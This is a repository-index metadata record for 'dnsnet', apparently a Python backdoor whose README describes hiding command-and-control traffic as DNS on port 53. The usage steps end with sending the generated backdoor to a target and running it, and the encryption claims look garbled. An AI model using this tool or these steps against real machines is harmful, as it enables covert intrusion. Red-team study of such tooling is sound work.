{"id":30452009,"url":"https://github.com/varppi/dnsnet","last_synced_at":"2025-08-23T14:19:30.218Z","repository":{"id":40348446,"uuid":"464466156","full_name":"varppi/dnsnet","owner":"varppi","description":"backdoor that uses dns to communicate","archived":false,"fork":false,"pushed_at":"2025-08-09T06:52:07.000Z","size":522,"stargazers_count":34,"open_issues_count":0,"forks_count":2,"subscribers_count":2,"default_branch":"main","last_synced_at":"2025-08-09T08:38:05.803Z","etag":null,"topics":["backdoor","backdoorpython","command-and-control","dns","python3","red-team-engagement"],"latest_commit_sha":null,"homepage":"","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"gpl-3.0","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/varppi.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null}},"created_at":"2022-02-28T12:05:10.000Z","updated_at":"2025-08-09T06:52:10.000Z","dependencies_parsed_at":"2025-03-08T16:41:32.303Z","dependency_job_id":null,"html_url":"https://github.com/varppi/dnsnet","commit_stats":null,"previous_names":["spoofimei/dnsnet","r00tendo/dnsnet","varppi/dnsnet"],"tags_count":0,"template":false,"template_full_name":null,"purl":"pkg:github/varppi/dnsnet","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/varppi%2Fdnsnet","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/varppi%2Fdnsnet/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/varppi%2Fdnsnet/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/varppi%2Fdnsnet/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/varppi","download_url":"https://codeload.github.com/varppi/dnsnet/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/varppi%2Fdnsnet/sbom","scorecard":null,"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":271751995,"owners_count":24814717,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","status":"online","status_checked_at":"2025-08-23T02:00:09.327Z","response_time":69,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["backdoor","backdoorpython","command-and-control","dns","python3","red-team-engagement"],"created_at":"2025-08-23T14:19:29.615Z","updated_at":"2025-08-23T14:19:30.205Z","avatar_url":"https://github.com/varppi.png","language":"Python","funding_links":[],"categories":[],"sub_categories":[],"readme":"# dnsnet\n\n\n# Current Version: ReleaseV2\n\n![box](https://user-images.githubusercontent.com/72181445/155982020-2db1333f-74b7-4c3f-8178-f14a75a0a65d.png)\n\n# Description:\nDNSNET masks itself as DNS traffic by communicating through the port 53. On top of it making the traffic less easy to spot, \nit will make dealing with the backdoor alot harder since a company of course cannot block the port and good luck figuring \nout which one of the 999999999 programs that also use the 53 port is the right one. The traffic is also encrypted so that's nice I guess.\n\n# Disclaimer:\nIm not responsible for any damage or harm done by this program in the hands of other people.\n\n# Where is this used?:\nI originally started coding this because I wanted a sure way to stealth backdoor victim machine during a red team/pen test assesments however\nyou can use it however you want (I'm not responsible for your actions).\n\n# Update log:\nAlpha: 10 times encryption and stabile server end\n\nAlphaV2: Automatic reconnect if connection is lost and manual reset added by pressing ctrl + c on the server end, cryptography import problems solved\n\nBetaV1: Backdoor now remembers where you cd'ed to allowing much better file system exploring, overall small fixes to make the backdoor more stable and usable\n\nReleaseV1: Complete redesign, coded from the ground up\n\nReleaseV2: File transfers added (download only)\n\n# In development?: yes\n\n# How to use (REPLACE \"Listener ip\" with the c2 ip):\n```\ngit clone https://github.com/Varppi/dnsnet\ncd dnsnet\npip3 install -r requirements.txt\npython3 dnsnet.py --li Listener ip\n```\nthen send the generated backdoor file to the target and execute it.\n\n# Technical Details:\nEncryption: Fernet 32bit encryption (that times the keys)\nProgram: Python3\n  \n\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fvarppi%2Fdnsnet","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fvarppi%2Fdnsnet","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fvarppi%2Fdnsnet/lists"}